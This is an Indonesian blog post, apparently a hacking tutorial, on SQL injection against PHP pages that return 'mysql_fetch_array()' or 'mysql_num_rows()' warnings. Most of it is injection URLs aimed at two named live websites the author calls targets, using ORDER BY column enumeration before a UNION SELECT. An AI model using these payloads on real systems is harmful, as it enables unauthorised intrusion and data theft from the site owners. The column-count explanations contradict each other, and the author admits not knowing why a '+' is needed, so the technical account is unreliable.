Friday, April 17, 2015

Pesan Error Based SQL injection

    



       Pernahkah anda saat melakukan / mencari target SQL injection, tapi ketika diberi string tanda petik satu ( ' ) itu pesan error nya yang muncul tidak seperti biasanya ? alias tidak sama dengan pesan Syntax error.
malah muncul pesan errornya begini :

1.  Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /home/cxpqublo/public_html/news_view.php on line 29

 

jangan khawatir, itu bisa kamu inject kok :) ..
disini saya mempunyai satu live target yang kebetulan pesan error nya begitu .

http://www.kidstoryhouse.com.tw/news_view.php?id=10'

string order by :

http://www.kidstoryhouse.com.tw/news_view.php?id=10+order+by+1--  ( gak ada respon )
http://www.kidstoryhouse.com.tw/news_view.php?id=10+order+by+2--  ( gak ada respon )
http://www.kidstoryhouse.com.tw/news_view.php?id=10+order+by+3--  ( gak ada respon )
http://www.kidstoryhouse.com.tw/news_view.php?id=10+order+by+4--  ( gak ada respon )
http://www.kidstoryhouse.com.tw/news_view.php?id=10+order+by+5--  ( gak ada respon )
http://www.kidstoryhouse.com.tw/news_view.php?id=10+order+by+6--  ( gak ada respon )
http://www.kidstoryhouse.com.tw/news_view.php?id=10+order+by+7--  ( gak ada respon )
http://www.kidstoryhouse.com.tw/news_view.php?id=10+order+by+8--  ( gak ada respon )
http://www.kidstoryhouse.com.tw/news_view.php?id=10+order+by+9--  ( gak ada respon )
http://www.kidstoryhouse.com.tw/news_view.php?id=10+order+by+10-- ( malah muncul pesan error )

         Nah kalau muncul pesan errornya di 10 , berarti column count normalnya 9. kenapa begitu karena itu menunjukkan kalo di tabel 10 muncul pesan error karena tidak ada tabel 10 . jadinya muncul pesan error.
lalu kamu lanjut saja ke UNION SELECT seperti biasa.

ada lagi yaitu ketika kita masukan tanda petik satu ( ' ) yang muncul pesan errornya begini :

2. Warning: mysql_num_rows() expects parameter 1 to be resource, boolean given in /home/citcoweb/public_html/news_view.php on line 36


disini saya mempunyai satu live target yang kebetulan pesan error nya begitu .

http://www.citcochandigarh.com/news_view.php?id=4'

string order by :

http://www.citcochandigarh.com/news_view.php?id=4+order+by+1--  ( gak ada respon )

http://www.citcochandigarh.com/news_view.php?id=4+order+by+2--  ( gak ada respon )

http://www.citcochandigarh.com/news_view.php?id=4+order+by+3--  ( gak ada respon )

http://www.citcochandigarh.com/news_view.php?id=4+order+by+4--  ( gak ada respon )

http://www.citcochandigarh.com/news_view.php?id=4+order+by+5--  ( gak ada respon )

http://www.citcochandigarh.com/news_view.php?id=4+order+by+100--  ( gak ada respon )


pertanyaan nya , kenapa kok sampai 100 juga tidak ada apa apa ? terus apa yang harus di modifikasi ?
ini jawabannya :

string order by :

 http://www.citcochandigarh.com/news_view.php?id=4'+order+by+1--+  ( gak ada respon )
 http://www.citcochandigarh.com/news_view.php?id=4'+order+by+2--+  ( gak ada respon )
 http://www.citcochandigarh.com/news_view.php?id=4'+order+by+3--+  ( gak ada respon )
 http://www.citcochandigarh.com/news_view.php?id=4'+order+by+4--+  ( gak ada respon )
 http://www.citcochandigarh.com/news_view.php?id=4'+order+by+5--+  ( gak ada respon )
 http://www.citcochandigarh.com/news_view.php?id=4'+order+by+6--+  ( gak ada respon )
 http://www.citcochandigarh.com/news_view.php?id=4'+order+by+7--+  ( gak ada respon )
 http://www.citcochandigarh.com/news_view.php?id=4'+order+by+8--+  ( muncul pesan error )

keterangan :
pada order by ke 8 itu muncul pesan error, karena tidak ada tabel ke 8 , berarti itu web column count normalnya 8..
terus tanda petik satu ( ' ) sesudah angka 4 kok masih nyantol ? itu karena untuk mengetahui / memunculkan pesan error ketika tabel tidak ada , jadi intinya itu web tabelnya sampai 7. dan untuk tanda + untuk apa saya kurang tahu hehehe.. intinya jangan lupakan itu.

lanjut ke UNION SELECT seperti biasa, tapi jangan hilangkan tanda petik satu ( ' ) dan tanda plus ( + ) biarkan itu nyantol disitu hehehe.

       Udah segitu ajah dulu yah kawan. dilanjut sama posting berikutnya.

By : Ahmad fathony
Show comments
Hide comments

3 comments:

Copyright 2016